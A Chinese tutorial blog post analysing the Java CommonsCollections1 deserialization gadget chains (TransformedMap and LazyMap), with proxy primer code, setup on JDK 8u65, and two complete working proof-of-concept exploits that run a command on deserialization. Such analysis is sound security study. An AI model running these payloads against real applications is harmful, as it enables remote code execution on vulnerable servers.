本篇进行CommonsCollections1
TransformedMap
链和LazyMap
链的学习。
在分析LazyMap
链时会用到动态代理,所以先了解一下什么是动态代理,而了解动态代理前,先看下什么是代理和静态代理
代理是一种常用的设计模式,其目的就是为其他对象提供一个代理以控制对某个对象的访问。代理类负责为委托类预处理消息,过滤消息并转发消息,以及进行消息被委托类执行后的后续处理。
代理可以理解为我们朋友圈中的代购,在买家与卖家间进行协调。
要求被代理类和代理类同时实现相应的一套接口,通过代理类调用重写接口的方法,实际上调用的是原始对象的同样的方法。
电影是电影公司委托给影院进行播放的,但是影院可以在播放电影时,产生一些自己的经济收益,比如卖爆米花、饮料等。
首先定义一个接口(Movie)
package Sentiment.unserialize.Poxy;
public interface Movie {
public void show();
}
其次,定义一个真正的实现这个 Movie接口的类(Real)
package Sentiment.unserialize.Poxy;
//委托类
class Real implements Movie{
public void show(){
System.out.println("您正在观看电影");
}
}
代理类StaticPoxy,在同样调用show()方法后会进行处理(加上广告)
package Sentiment.unserialize.Poxy;
//代理类
public class StaticPoxy implements Movie{
private Movie movie;
public StaticPoxy(Movie movie) {
this.movie=movie;
}
@Override
public void show() {
System.out.println("电影马上开始了,爆米花、饮料快来买啊");
movie.show();
System.out.println("电影已经结束了,爆米花、饮料买回家吧");
}
}
测试类Test
package Sentiment.unserialize.Poxy;
public class Test {
public static void main(String[] args){
Movie test = new Real();
System.out.println("-----无代理-----");
test.show();
System.out.println("-----静态代理-----");
StaticPoxy staticPoxy = new StaticPoxy(test);
staticPoxy.show();
}
}
结果
可以看到,代理可以在不修改被代理对象的基础上,进行一些功能的扩展。但代理类和委托类类应共同实现一个接口,或者是共同继承某个类。
我们可以在不改变Real委托类源代码的情况下 ,通过StaticPoxy代理类来扩展Real委托类的功能,从而实现代理
操作。
代理类和委托类都实现了一个接口,会有很多的代码重复;除此外,当我们需要添加一个其他接口时,代理类和委托类都需要修改代码实现接口,可以说会产生很多的冗余并且需要一定的运维成本。这时就出现了一种更为方便、高效的代理方式——动态代理
动态代理是指动态的在内存中构建代理对象(需要我们制定要代理的目标对象实现的接口类型),即利用JDK的API生成指定接口的对象,也称之为JDK代理或者接口代理。
动态代理主要涉及java.lang.reflect包下的Proxy类和InvocationHandler接口。
先看下java.lang.reflect.Proxy
类
Proxy类继承了java.io.Serializable
接口,此外其中有一个newProxyInstance
方法(还有很多方法,由于暂时不会用到所以没有列举),动态代理就是由该静态方法来实现的
package java.lang.reflect;
import java.lang.reflect.InvocationHandler;
public class Proxy implements java.io.Serializable {
public static Object newProxyInstance(ClassLoader loader,
Class<?>[] interfaces,
InvocationHandler h)
..........
}
看下参数作用
刚才有提到InvocationHandler
接口,并且在newProxyInstance
方法中也有用到,下面来看下该接口
InvocationHandler接口是proxy代理实例的调用处理程序实现的一个接口,每一个proxy代理实例都有一个关联的调用处理程序;在代理实例调用方法时,方法调用被编码分派到调用处理程序的invoke
方法。
而该类只有一个方法也就是invoke
方法,也正是这个方法决定了怎么样处理代理传递过来的方法调用。
public interface InvocationHandler {
public Object invoke(Object proxy, Method method, Object[] args)
throws Throwable;
}
还是看一下参数作用
假如进入一个商场后肯定会有很多卖酒卖烟的代理,本次就用这种方式进行实例分析
还是先定义个接口SellWine
,意为卖酒
package Sentiment.unserialize.Pxoy2;
public interface SellWine {
public void sell();
}
实现类Wine
package Sentiment.unserialize.Pxoy2;
public class Wine implements SellWine{
public void sell(){
System.out.println("卖酒");
}
}
代理类DynamicPoxy
package Sentiment.unserialize.Pxoy2;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
public class DynamicPoxy implements InvocationHandler {
private Object agent;
public DynamicPoxy(Object poxy) {
this.agent = poxy;
}
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
System.out.println("销售开始 代理商是:"+this.getClass().getSimpleName());
method.invoke(agent,args);
System.out.println("销售结束");
return null;
}
}
测试类Test
package Sentiment.unserialize.Pxoy2;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
public class Test {
public static void main(String[] args) {
Wine wine = new Wine();
InvocationHandler invocationHandler = new DynamicPoxy(wine);
SellWine dynamicPoxy1 = (SellWine) Proxy.newProxyInstance(wine.getClass().getClassLoader(), wine.getClass().getInterfaces(), invocationHandler);
dynamicPoxy1.sell();
}
}
此时若我们我们想再增加一个卖酒功能,若用静态代理则需要添加接口,并修改委托类、代理类、测试类等;但动态代理则可跳过修改代理类的过程,通过添加接口来实现需求
再定义一个卖烟接口SellCigarette
package Sentiment.unserialize.Poxy;
public interface SellCigarette {
public void sell();
}
实现类Cigarette
package Sentiment.unserialize.Poxy;
public class Cigarette implements SellCigarette{
public void sell(){
System.out.println("卖烟");
}
}
此时我们的代理类已经不需要更改了,只需要在实现类Test
类中加上我们要实现的功能即可
Cigarette cigarette = new Cigarette();
InvocationHandler invocationHandler2 = new DynamicPoxy(cigarette);
SellCigarette dynamicPoxy2 = (SellCigarette) Proxy.newProxyInstance(cigarette.getClass().getClassLoader(), cigarette.getClass().getInterfaces(), invocationHandler2);
dynamicPoxy2.sell();
最终Test
类
package Sentiment.unserialize.Pxoy2;
import Sentiment.unserialize.Poxy.Cigarette;
import Sentiment.unserialize.Poxy.SellCigarette;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
public class Test {
public static void main(String[] args) {
Wine wine = new Wine();
Cigarette cigarette = new Cigarette();
InvocationHandler invocationHandler1 = new DynamicPoxy(wine);
InvocationHandler invocationHandler2 = new DynamicPoxy(cigarette);
SellWine dynamicPoxy1 = (SellWine) Proxy.newProxyInstance(wine.getClass().getClassLoader(), wine.getClass().getInterfaces(), invocationHandler1);
SellCigarette dynamicPoxy2 = (SellCigarette) Proxy.newProxyInstance(cigarette.getClass().getClassLoader(), cigarette.getClass().getInterfaces(), invocationHandler2);
dynamicPoxy1.sell();
System.out.println("-------------------");
dynamicPoxy2.sell();
}
}
高版本的 jdk 会修复一些漏洞,所在进行CC1
链分析前,需要对IDEA进行调试即安装未修复漏洞前的JDK版本链接,下载完成后可以放在虚拟机中进行安装,之后再将安装好的JDK文件放到物理机中
对于CC1JDK
版本应该为8u71
之前,这里用8u65
即可
在Java中有一部分文件的源码是无法看到的,只能查看该文件的class文件,这里就可以用开源java代码进行替换链接,下载zip文件
File->Project Structure将配置好的src文件导入
构建好后把依赖写入pom.xml中,点击右上角的Maven图标配置依赖即可
<dependencies>
<dependency>
<groupId>commons-collectionsgroupId>
<artifactId>commons-collectionsartifactId>
<version>3.1version>
dependency>
dependencies>
若构建好后仍为class文件,并且查看文件时出现以下提示,则代表 maven 项目没有加载成功,可能与 maven 版本有关,需要手动加载
点击Maven图标,使用 Execute Maven Goal
输入如下命令安装即可
mvn dependency:resolve -Dclassifier=sources
IDEA调试好后就开始分析CC1了,CC1一共有两条链——TransformedMap
和LazyMap
,先看下TransformedMap
链
在TransformedMap
链中主要就是通过几个Transform
实现类来完成的,所以先截取部分代码了解下这几个类
首先就是接口Transformer,只定义了一个transform方法
public interface Transformer {
public Object transform(Object input);
}
直接看类中的decorate()
方法,第一个参数就是要修饰的Map
对象,第二个和第三个参数都是实现了Transformer
接口的类的对象,分别用来转换Map
的键和值。
public class TransformedMap
extends AbstractInputCheckedMapDecorator
implements Serializable {
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
这里keyTransformer、valueTransformer是处理新元素的key、value的回调。即⼀个实现了Transformer接⼝的类。
在test1()
处打个断点,debug一下就可以比较直观的了解其作用
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class Demo01 {
public static void main(String[] args) {
test1();
}
public static void printMap(Map map){
for (Object entry: map.entrySet()){
System.out.println(((Map.Entry)entry).getKey());
System.out.println(((Map.Entry)entry).getValue());
}
}
public static void test1(){
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap,new KeyTransformer(),new ValueTransformer());
outerMap.put("key","value");
printMap(outerMap);
}
}
class KeyTransformer implements Transformer {
@Override
public Object transform(Object o) {
System.out.println("KeyTransformer1");
return "key1";
}
}
class ValueTransformer implements Transformer{
@Override
public Object transform(Object o) {
System.out.println("ValueTransformer");
return "value";
}
}
比较好理解,利用getInstance
传值后,会通过transform
将对象返回
public class ConstantTransformer implements Transformer, Serializable {
public static Transformer getInstance(Object constantToReturn) {
if (constantToReturn == null) {
return NULL_INSTANCE;
}
return new ConstantTransformer(constantToReturn);
}
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}
public Object transform(Object input) {
return iConstant;
}
}
同样在test2()打断点debug可以比较直观的了解
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class Demo02 {
public static void main(String[] args) {
test2();
}
public static void test2(){
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap,null,ConstantTransformer.getInstance("Sentiment"));
outerMap.put("key","value");
printMap(outerMap);
}
public static void printMap(Map map){
for (Object entry: map.entrySet()){
System.out.println(((Map.Entry)entry).getKey());
System.out.println(((Map.Entry)entry).getValue());
}
}
}
简单的理解为用于反射,与 ConstantTransformer
一样也有getInstance
方法,有三个参数,第一个参数是方法名,第二个参数是该方法的所有传入参数的类型(Class
),第三个参数就是要传入的参数列表。,分别传给InvokerTransformer进行实例化(这里getInstance
方法没有列举)
public class InvokerTransformer implements Transformer, Serializable {
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
}
test3()
debug调试
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class Demo03 {
public static void main(String[] args) {
test3();
}
public static void test3(){
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap,null,
InvokerTransformer.getInstance("exec",new Class[]{String.class},new Object[]{"calc"}));
outerMap.put("key",Runtime.getRuntime());
}
}
类似于一种递归调用,传入object后,将本次得到的object作为下一次的传入值
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class Demo04 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map outerMap = TransformedMap.decorate(new HashMap(),null,chainedTransformer);
outerMap.put("Sentiment","Sentiment");
}
}
test4()
处断点debug调试
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class Demo04 {
public static void main(String[] args) throws Exception {
test4();
}
public static void test4(){
//这里是定义数组
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map outerMap = TransformedMap.decorate(new HashMap(),null,chainedTransformer);
outerMap.put("Sentiment","Sentiment");
}
}
用回溯法分析,先看transform
方法,这里try{}中的内容进行了反射调用
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
}
在InvokerTransforme
中参数iMethodName、iParamTypes、iArgs都可控,上边也提到过,第一个参数是方法名,第二个参数是该方法的所有传入参数的类型(Class
),第三个参数就是要传入的参数列表
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
再知道InvokerTransforme
中参数可控后,就可以构造一个transform利用方式了,这里用反射和InvokerTransformer进行了对比,该方式主要是通过InvokerTransformer进行三个参数传递,在调用transform方法,执行命令
public class cc1 {
public static void main(String[] args) throws Exception {
//反射
Runtime runtime = Runtime.getRuntime();
Class c = Runtime.class;
Method execMethod = c.getMethod("exec", String.class);
execMethod.invoke(runtime,"calc");
//InvokerTransformer
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(runtime);
}
}
接下来看下谁调用了InvokerTransformer
类中的transform
方法,在该方法上Alt+F7查看,发现checkSetValue
方法中调用了valueTransformer
的transform
往上查看valueTransformer
参数,在TransformedMap
中进行了调用,而decorate
调用了TransformedMap
方法,其中的三个参数前置中也有说过:第一个参数就是要修饰的Map
对象,第二个和第三个参数都是实现了Transformer
接口的类的对象,分别用来转换Map
的键和值。
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
此时就可以通过decorate方法进行调用了
public class test {
public static void main(String[] args) throws Exception {
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object,Object> map = new HashMap<>();
TransformedMap.decorate(map, null, invokerTransformer);
}
}
继续跟进查看谁调用了checkSetValue
,在AbstractInputCheckedMapDecorator
的setValue
方法中找到
public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}
继续跟进查看何处调用setValue
,在AnnotationInvocationHandler
中找到,并且该方法重写了readObject,至此整条链结束,下面就是POC编写了
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}
此时在序列化后发现无法序列化,原因在于Runtime
中未实现Serializable
接口,这里就可以ChainedTransformer
获取Runtime的Class类,因为Class类中实现了Serializable
接口,先通过反射和InvokerTransformer
用法引出ChainedTransformer
//反射
Class c = Runtime.class;
Method getRuntimeMethod = c.getMethod("getRuntime", null);
Object r = getRuntimeMethod.invoke(null, null); //静态无参方法所以都是null
Method execMethod = c.getMethod("exec", String.class);
execMethod.invoke(r,"calc");
//InvokerTransformer
Method getRuntimeMethod1 = (Method) new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
Runtime r1 = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntimeMethod1);
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r1);
//ChainedTransformer
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
new ChainedTransformer(transformers).transform(Runtime.class);
在该类中需要通过构造器修改memberValue的值,从而执行memberValue.setValue,但该类没有public
,所以默认是default,无法进行实例化
class AnnotationInvocationHandler implements InvocationHandler, Serializable {
private static final long serialVersionUID = 6182022883658399397L;
private final Class<? extends Annotation> type;
private final Map<String, Object> memberValues;
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
this.type = type;
this.memberValues = memberValues;
}
这里同样使用反射方式获取,这里的outerMap是构造好的Map对象
//Reflection
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);
cons.setAccessible(true);
Object o = cons.newInstance(Retention.class,outerMap);
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}
通过上边源码可以看出memberType只有不为null时才能执行
if (memberType != null) { // i.e. member still exists
这里看下p神给出的两个条件
sun.reflect.annotation.AnnotationInvocationHandler 构造函数的第一个参数必须是 Annotation 的子类,且其中必须含有至少一个方法
被 TransformedMap.decorate 修饰的 Map 中放入一个 key 是 value 的元素
简单分析一下
在这里会获取我们传入注解的成员变量
Map> memberTypes = annotationType.memberTypes();
看下比较常用的Override注解,可以发现其中是没有成员变量的
@Target(ElementType.METHOD)
@Retention(RetentionPolicy.SOURCE)
public @interface Override {
}
后来在@Target、@Retention中都发现了成员变量且都是value
@Target(ElementType.ANNOTATION_TYPE)
public @interface Target {
ElementType[] value();
}
知道成员变量是value后再看,这里会获取我们传入map参数的key值,之后再在传入的memberType(注解)中获取该值,而注解中只有一个变量也就是value,所以只有当我们传入的map的key值为value时,便可通过get(name)成功获取,从而绕过null判断,所以这里通过put对key传参value即可——innerMap.put("value", "Sentiment");
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
除此外可以看到这里的setValue的值暂时不可控
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
看下setValue
方法
public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}
继续跟进checkSetValue
方法,会调用valueTransforme
r的transform
方法而参数value就是前边memberValue.setValue括号内容不可控,而valueTransformer可控
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}
这时候就联想到了前边说到的ConstantTransformer
类,在实例化时调用构造器方法,传入的参数,会经过transform
返回,所以如果通过该方法无论transform
中的input
是何值,都不会改变他return的内容
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}
public Object transform(Object input) {
return iConstant;
}
所以这里在问题一的ChainedTransformer调用的transformers数组中加上实例化ConstantTransformer内容即可
Transformer[] transformers = new Transformer[]{
//----------加入的内容------------
new ConstantTransformer(Runtime.class),
//--------------------------------
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
new ChainedTransformer(transformers).transform(Runtime.class);
至此所有问题都解决了
最终payload
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;
public class cc1 {
public static void main(String[] args) throws ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchMethodException, IOException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "Sentiment");
Map outerMap = TransformedMap.decorate(innerMap, null, chainedTransformer);
//Reflection
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Target.class, outerMap);
serialize(o);
unserialize("1.txt");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("1.txt"));
out.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream In = new ObjectInputStream(new FileInputStream(Filename));
Object o = In.readObject();
return o;
}
}
在了解TransformedMap
链后,LazyMap
就比较容易理解了,这里也利用了之前说到的动态代理
在TransformedMap
中查找谁能调用transform
方法时,其实除了checkSetValue
可以外,LazyMap
中的get()方法也可以调用
先看下LazyMap
类,其中有个get()
方法,大意key不存在时,会自动创建对象并存放到map中
public class LazyMap
extends AbstractMapDecorator
implements Map, Serializable {
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
可以看个例子理解下:key不存在时将Sentiment存放到map中
public class Test1 {
public static void main(String[] args) {
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap,new ConstantTransformer("Sentiment"));
Object value = outerMap.get("key");
System.out.println(value);
}
}
而在get()中,是通过factory
来调用transform()
——factory.transform(key);
所以就需要调用Lazymap的decorate()
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
而decorate()
会调用LazyMap
的构造方法,进而对factory
赋值
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}
所以要将TransformMap
的链进行修改
//TransformMap
Map outerMap = TransformedMap.decorate(innerMap, null, chainedTransformer);
//LazyMap
Map outerMap = LazyMap.decorate(innerMap,chainedTransformer);
之后就是动态代理部分了,之所以会用到动态代理,就是因为LazyMap
中,AnnotationInvocationHandler
的readObject
里面并没有用到get()
,但是在invoke()
方法中却用到了:
public Object invoke(Object proxy, Method method, Object[] args) {
String member = method.getName();
Class<?>[] paramTypes = method.getParameterTypes();
// Handle Object and Annotation methods
if (member.equals("equals") && paramTypes.length == 1 &&
paramTypes[0] == Object.class)
return equalsImpl(args[0]);
assert paramTypes.length == 0;
if (member.equals("toString"))
return toStringImpl();
if (member.equals("hashCode"))
return hashCodeImpl();
if (member.equals("annotationType"))
return type;
// Handle annotation member accessors
Object result = memberValues.get(member);
if (result == null)
throw new IncompleteAnnotationException(type, member);
if (result instanceof ExceptionProxy)
throw ((ExceptionProxy) result).generateException();
if (result.getClass().isArray() && Array.getLength(result) != 0)
result = cloneArray(result);
return result;
}
所以现在的问题就是如何触发这个invoke方法,此时看到了AnnotationInvocationHandler
类实现了InvocationHandler
类,直接就会联想到前边说过的代理
class AnnotationInvocationHandler implements InvocationHandler, Serializable {
所以可以通过AnnotationInvocationHandler
对构造的Map
进行代理,这样在反序列化的过程中,只要调用了委托对象的任何方法,都会进入AnnotationInvocationHandler
的invoke
方法中,从而调用get方法
InvocationHandler handler = (InvocationHandler)constructor.newInstance(Target.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(
Map.class.getClassLoader(),
new Class[]{Map.class},
handler
);
在知道如何调用get()后,其他利用点基本一致了
最终POC
package CommonsCollections1;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class cc11 {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap,chainedTransformer);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler)constructor.newInstance(Target.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(
Map.class.getClassLoader(),
new Class[]{Map.class},
handler
);
Object o = constructor.newInstance(Target.class, proxyMap);
serialize(o);
unserialize("1.txt");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("1.txt"));
out.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream In = new ObjectInputStream(new FileInputStream(Filename));
Object o = In.readObject();
return o;
}
}
CommonsCollection
链对于初学来说可能比较难理解,但只要耐心了解每个类和方法,不断调式也是可以接受的,至此CommonsCollection1
就结束了,离着Java反序列化入门又进了一步